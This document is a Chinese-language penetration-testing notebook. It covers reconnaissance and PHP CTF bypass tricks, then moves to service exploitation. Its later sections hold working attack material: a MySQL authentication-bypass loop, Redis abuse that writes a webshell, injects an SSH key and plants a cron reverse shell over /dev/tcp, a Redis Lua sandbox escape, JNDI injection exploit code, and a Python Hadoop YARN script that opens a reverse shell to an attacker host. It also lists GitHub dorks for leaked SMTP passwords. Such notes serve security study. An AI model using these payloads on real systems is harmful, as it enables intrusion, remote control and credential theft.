渗透
渗透
信息打点
判断网站操作系统类型:
- 通过ICMP报文的TTL值判断
- 通过网站返回包的一些字段判断
判断网站使用的语言:
- 通过网站返回包的字段
- 通过搜索引擎,比如必应: site: acdawn.cn php
源码泄露:
CMS识别
网站备份文件
GIT源码泄露,例如https://trafficbonus.com/.svn/entries
SVN源码泄露
DS_Store源码泄露
PHP的composer.json,例如http://english.cmdesign.com.cn/composer.json
WEB-INF/web.xml泄露(常用于CTF,需要配合下载漏洞)
通过GITHUB搜索相关文件
源码泄露参考:https://www.secpulse.com/archives/124398.html
为什么有时候服务器提供端口,但是却扫描不到?
- 可能服务器部署在内网,让后搭建了反向代理,扫描时只能扫描到代理服务器
端口扫描:
- NMAP
- MASSCAN
端口渗透总结:
https://www.se7ensec.cn/2018/11/28/%E7%AB%AF%E5%8F%A3%E6%B8%97%E9%80%8F%E6%80%BB%E7%BB%93/
旁注:同服务器下的不同WEB应用查询技术,可以利用一些在线工具
CDN检测:
- https://ping.chinaz.com/
- https://get-site-ip.com/
- https://tools.ipip.net/cdn.php
- http://17ce.com/
绕过CDN:
从子域名入手
历史DNS记录
Mx记录或者邮件
国外请求
网络空间扫描历史文件
漏洞(比如ssrf,请求外部地址)
参考资料:https://www.secpulse.com/archives/51380.html
WAF:
- 看图识WAF:https://www.cnblogs.com/charon1937/p/13799467.html
负载均衡:
- LBD
APP信息搜集:
内在提取
若出现错误,可能是APP存在壳,需要利用Xposed模块的dexdump或者frida模块的RRIDE-DEXDump
Apk资源提取器可以提取APK文件,以及一些资源文件
外在抓包
Xposed的JustTrustMe工具可以配置Fiddler等证书,进而实现抓包
附:
PING命令的TTL
1
2
3
4
5
WINDOWS NT/2000 TTL:128
WINDOWS 95/98 TTL:32
UNIX TTL:255
LINUX TTL:64
WIN7 TTL:64参考:https://blog.csdn.net/piaoxuan1987/article/details/79503554
WEB-INF/web.xml下的文件解释
1
2
3
4
5WEB-INF/web.xml web应用程序配置文件,比如路径映射
WEB-INF/database.properties 数据库配置文件
WEB-INF/classes Java类文件
WEB-INF/lib 库文件
WEB-INF/src 源代码
GITHUB资源搜索&谷歌搜索
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GITHUB资源搜索:
in:name test #仓库标题搜索含有关键字
in:descripton test #仓库描述搜索含有关键字
in:readme test #Readme文件搜素含有关键字
stars:>3000 test #stars数量大于3000的搜索关键字
stars:1000..3000 test #stars数量大于1000小于3000的搜索关键字 forks:>1000 test #forks数量大于1000的搜索关键字
forks:1000..3000 test #forks数量大于1000小于3000的搜索关键字 size:>=5000 test #指定仓库大于5000k(5M)的搜索关键字 pushed:>2019-02-12 test #发布时间大于2019-02-12的搜索关键字 created:>2019-02-12 test #创建时间大于2019-02-12的搜索关键字 user:test #用户名搜素
license:apache-2.0 test #明确仓库的 LICENSE 搜索关键字 language:java test #在java语言的代码中搜索关键字
user:test in:name test #组合搜索,用户名test的标题含有test的
关键字配合谷歌搜索:
site:Github.com smtp
site:Github.com smtp @qq.com
site:Github.com smtp @126.com
site:Github.com smtp @163.com
site:Github.com smtp @sina.com.cn
site:Github.com smtp password
site:Github.com String password smtp
NMAP的使用
1
2
3
4
5
>nmap -sS SYN半连接扫描,比较隐蔽
>nmap -sT TCP全连接扫描,最稳定
>nmap -sN 只能在Linux中使用,发送畸形的TCP报文,flags位全为0,躲避无状态防火墙的检测
>eg:
>nmap 192.168.126.144https://blog.51cto.com/u_1965839/5250918
https://www.bilibili.com/video/BV1Ut411K7QJ?t=211.3&p=3
https://www.cnblogs.com/Hekeats-L/p/16830628.html
http://www.nmd5.com/test/index.php
主机扫描:
nmap -PS -p 80,8080 192.168.126.1
:SYN扫描
nmap -PA -p 80,8080 192.168.126.1
:ACK扫描
MASSCAN的使用
1
masscan 192.168.126.144 -p1-65
LBD的使用
1
lbd www.baidu.com
历史DNS记录查询网站
https://www.dnsdb.io/zh-cn/
https://x.threatbook.com/
https://viewdns.info/
https://www.17ce.com/
WHOIS原理
IANA(Internet Assigned Numbers Authority): 互联网数字分配机构,负责管理全球域名,里面记录着全球所有顶级域名
注意IANA是ICANN的其中一个机构
全球所有顶级域名:https://www.iana.org/domains/root/db
RFC812定义了Whois协议:首先在43端口建立一个tcp连接,然后发送关键字即可查询
比如
.cn
的whois服务器是whois.cnnic.cn
于是可通过建立telnet连接来查询信息
参考:https://zhuanlan.zhihu.com/p/35221356
DNS相关原理
https://www.ruanyifeng.com/blog/2018/05/root-domain.html
https://www.ruanyifeng.com/blog/2022/08/dns-query.html
nslookup
用于查询dns记录
常见的记录类型:
- A:主机IP地址
- AAAA:IPv6
- NS:域名服务器
- TXT:描述文本
- MX:邮件交换服务器
- CNAME:别名的权威名称
- ALIAS:别名
WEB攻防
PHP
过滤函数缺陷绕过
参考资料: https://blog.csdn.net/m0_65336233/article/details/127181355
弱类型比较与强类型比较
1
2==: 只比较数值,不比较类型
===: 数值和类型都比较md5绕过1(两个等于号)
1
2
3
4
5
6
7
8
9
10
11
12
<?php
header("Content-Type:text/html;charset=utf-8");
$flag = "this is flag";
if ($_GET['username'] != $_GET['password']) {
if (md5($_GET['username']) == md5($_GET['password'])) {
echo $flag;
} else {
echo '?';
}
}
//http://127.0.0.1/?username=240610708&password=QNKCDZOmd5绕过2(3个等于号)
1
2
3
4
5
6
7
8
9
10
11
12
<?php
header("Content-Type:text/html;charset=utf-8");
$flag = "this is flag";
if ($_GET['username'] != $_GET['password']) {
if (md5($_GET['username']) === md5($_GET['password'])) {
echo $flag;
} else {
echo '?';
}
}
//http://127.0.0.1/?username[]=1&password[]=2strpos()绕过
- 利用%0a
in_array第三个参数安全
若第三个参数为false,则不会检测数据类型
1
2
3
4
5
6
7
8
<?php
$flag = 'this is flag';
$whitelist = ['1',2,3];
$page=$_GET['i'];
if (in_array($page, $whitelist,false)) {
echo "yes";
}
//http://127.0.0.1/?i=+1preg_match()绕过
若传递的是一个数组,则会直接绕过
1
2
3
4
5
6
7
8
9
10
11
12
<?php
$flag = 'this is flag';
if (isset($_GET['num'])) {
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no no no!");
}
if (intval($num)) {
echo $flag;
}
}
//http://127.0.0.1/?num[]=1str_replace()绕过
str_replace()无法迭代替换
1
2
3
4
5
6
<?php
$flag = 'this is flag';
$sql = $_GET['s'];
$sql = str_replace('select', '', $sql);
echo $sql;
//http://127.0.0.1/?s=selselectect综合题目
preg_match过滤了x,无法使用16进制,前面强类型比较$num,代表无法使用+等过滤,只能使用进制转换;为绕过strpos,需要在前面加上+或者空格
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$flag = 'this is flag';
highlight_file(__FILE__);
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num === '4476') {
die('no no no');
}
if (preg_match("/[a-z]/i", $num)) {
die('no no no');
}
if (!strpos($num, "0")) {
die('no no no');
}
if (intval($num, 0) == 4476) {
echo $flag;
}
}
//http://127.0.0.1/?num=+010574
通用安全漏洞
前置知识
同源策略(SOP)包括三个条件
- 同协议
- 通端口
- 同域名
同源策略限制从一个源加载的文档或者脚本与来自另一个源的资源进行交互 是浏览器的一种安全策略
但是限制的一些前端功能的实现 所以就有了许多跨域的手段
前端的访问后端 若出现跨域问题 是前端的问题
子域名接管-检测&探针&利用
通过检测CNAME获取指向 若发现过期域名 可以注册实现劫持
子域名接管不仅仅限于CNAME记录
CORS
Cross-Orgin Resource Sharing 跨域资源共享 允许浏览器向跨源服务器发送XMLHttpRequest请求
CORS支持所有形式的http请求
用户A登录自己的后台或者其他页面 访问了第三方页面 第三方页面请求用户A访问页面的内容 页面源码泄露
CORS只能获得资源 不能像CSRF达到添加用户之类的操作
类似CSRF 但是若有同源策略 CSRF失效
Acess-Control-Allow-Orgin:*
表示其他页面能获取此页面的资源利用条件:用户登录且有安全问题 只能获取资源文件
JSONP
JSNOP只支持get 不支持post
jsonp跨域巧妙的利用了script标签能跨域的特点 实现了json的跨域传输
用户A浏览器访问过虎牙 优酷 淘宝等页面 攻击者尝试去测试这些官方的回调(callback)页面
工具使用
dnsub-子域名扫描工具
类似OneForAll 但是速度快
https://github.com/yunxu1/dnsub
CORScanner
https://github.com/chenjj/CORScanner
Corsy
https://github.com/s0md3v/Corsy
服务攻防
常见服务应用的安全测试
- 配置不当导致未授权访问
- 弱口令
- 安全漏洞
安全测试流程
判断服务是否开放
端口扫描
若有服务但是端口扫描不到,可能是内网,也可能是安全防护软件,也可能是修改了默认端口
判断服务类型
数据库安全
MySQL
CVE-2012-2122-身份认证绕过漏洞
exp
1
for i in `seq 1 1000`;do mysql -uroot -pwrong -h 172.30.158.168 -P 3306;done
复现
攻击机:172.30.152.248
靶机:172.30.158.168
Redis
常见命令
注:redis不区分大小写
1
2
3
4
keys * 获取数据库中所有的键
save 进行一次备份操作
flushall 清除所有数据
del key 删除数据配置文件
安全模式起作用需要同时满足两个条件:
- redis没有开启登录认证
- redis没有绑定ip
redis默认是未开启认证,开启安全模式的
未授权访问应用条件
- bind 127.0.0.1 处于注释状态
- protected-mode no
- requirepass 处于注释状态
写Webshell
应用条件:知道Web目录,并且可读写
set dirlink
1
2
3
4
5
6config set dir /var/www/html
config set dbfilename 1.php
set test "<?php phpinfo();?>"
bgsave # 保存执行
save # 保存执行
注意:部分目录没有读写权限写入RSA秘钥
前提条件
- redis以root账号启动
- 服务器必须允许密钥登陆
- protected-mode处于关闭状态
1
2
3
4
5
6
7config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBe/UsMlJRIL+Z4w0DTr9nRmKu8Tt9cPoKj/t7fOHWItBPxMaVryrq732nIkZlCrtpJNkZJsfN9Fq2oGHyA/x3qrXBjhNiFUx2NTRHPlcfVMfTf+XB34oa4eAHOEWpkxCDZe+W0nV3va8sp7poSQqA+GD+YmidZ8dR57TQdfnTTFB9SIW7DZBATRseUzf/PtPRTVh7Jn/963M/JHVhV+OHXJ0BRCvu0YBg/oqxPkWJ41kZOZJP6KfDVICgoERgULRdnYWLNUUNlLOQ4LPDG3fhQHJgN2L9hqjf0bk5Zx5ZA9Uy093AAdkyElY2rkxeN9hwOZT/YFEbvUAT0v2kDtf1TM8lfuO3ibD2j9Pxetv/jUKNthliSmdeB/+tD6hkJ6/mdjvoIgqATY2YlEIM7YYTAZ4mVaqAbYKx3HHDRlj7Jd2wUEGuOFcuzvqIsIHTfSzcydvUBW04zLUKAl/Zacp0mi+wmbgyX3gZYO6nhFCjmQPaO2KyNLrArYepWifDnlk= d4wn@D4wn\n\n\n"
或者
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h x.x.x.x -x set crackit
save写定时任务反弹shell
1
2
3
4
>config set dir /var/spool/cron
config set dbfilename root #必须是root
set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.52.128/4444 0>&1\n\n"
saveCVE-2022-0543-沙箱绕过
攻击机:172.30.152.248
靶机:172.30.158.168
影响版本
2.2 <= redis < 5.0.13 2.2 <= redis < 6.0.15 2.2 <= redis < 6.2.5
exp
1
>eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
复现
RCE-主从复制getshell
主从模式为使用两台Redis主机,一台为主机,一台为从机,一台负责读,一台负责写,主从模式的读写分离可以缓解服务器上的流量压力,牺牲空间换取效率.
漏洞成因
Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
先决条件:
Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
root权限启动redis
自动化脚本:
https://github.com/n0b0dyCN/redis-rogue-server
python redis-rogue-server.py --rhost 192.168.52.251 --lhost 192.168.52.128
参考链接
https://inhann.top/2021/09/14/redis_master_slave_rce/#%E7%8E%AF%E5%A2%83
https://www.freebuf.com/articles/web/303910.html
InfluxDB
https://github.com/Threekiii/Vulhub-Reproduce/blob/master/InfluxDB%20JWT%20%E8%AE%A4%E8%AF%81%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2019-20933.md
CVE-2019-20933
认证绕过漏洞
漏洞原理: 使用JWT鉴权,但是JWT默认密钥为空字符串,因此可以绕过
利用https://jwt.io可以构造Key为空的JWT
1 |
|
构造POST包
或者构造GET包
JWT相关知识
分为三部分:
- Header
- Payload
- Signature
Header:
1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}Payload:
1
2
3
4
5
6
{
"iss": "发布者",
"aud": "受众",
"iat": "时间戳",
"exp": "过期时间"
}Signature:
1
2
3
4
5
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret
)
HTTP身份验证
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Authentication
服务端-->客户端:401未授权状态码
在下面的标头里提供质询方式
realm用来描述进行保护的区域,这样用户就可以知道他正在试图访问什么
WWW-Authenticate: Basic realm="InfluxDB"
客户端-->服务端:
Authorization
请求头
- Basic:对用户名和密码进行Base64编码
- Bearer:通常用于OAuth2.0认证
- Digest:发送经过哈希处理后的凭证
H2Database
h2-console-unacc
https://github.com/vulhub/vulhub/blob/master/h2database/h2-console-unacc/README.zh-cn.md
JNDI注入
https://xz.aliyun.com/t/12277
https://evilpan.com/2021/12/13/jndi-injection/
https://www.bilibili.com/video/BV1Ne4y1o7ch?t=123.7
JNDI(Java Naming and Directory Interface):Java名称与目录接口
SPI(Service Provider Interface):服务供应接口
- RMI:Java远程方法调用
- LDAP:轻量级目录访问协议
JDK6 JDK7 JDK8 JDK11 RMI可用 6u132以下 7u122以下 8u113以下 无 LDAP可用 6u211以下 7u201以下 8u191以下 11.0.1以下 因此LDAP适用范围更广
dns常用于探测漏洞是否存在
漏洞端:
1
2
3
4
5
6
7
8
9
import javax.naming.InitialContext;
public class Main {
public static void main(String[]args) throws Exception{
String string = "rmi://127.0.0.1:1099/hello";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}Server端:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMI_Server_Reference {
void register() throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("RMIHello","RMIHello","http://127.0.0.1:8888/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/hello",refObjWrapper);
System.out.println("Registry......");
}
public static void main(String[] args) throws Exception {
new RMI_Server_Reference().register();
}
}Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
public class RMIHello extends UnicastRemoteObject implements ObjectFactory {
public RMIHello() throws RemoteException {
super();
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public String sayHello(String name) throws RemoteException {
System.out.println("Hello World!");
return name;
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}若使用工具:
漏洞端:
1
2
3
4
5
6
7
8
9
import javax.naming.InitialContext;
public class Main {
public static void main(String[]args) throws Exception{
String string = "ldap://47.108.90.224:55590/Basic/Command/calc";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}Server端:
1java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 47.108.90.224 -l 55590 -p 55591
避坑:
-i
参数后面若跟上0.0.0.0
则复现失败- 若把虚拟机当做服务端则复现失败
Haddop
靶场:https://vulfocus.cn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
# Hadoop未授权访问exp
# --------------------------设置参数-----------------------------------------------------------------------------
target = 'http://172.30.158.168:8088/' # 靶机
lhost = '120.53.236.54' # 攻击机
port = '8999' # 监听shell端口
# -------------------------------------------------------------------------------------------------------
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
f'command': f'/bin/bash -i >& /dev/tcp/{lhost}/{port} 0>&1',
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)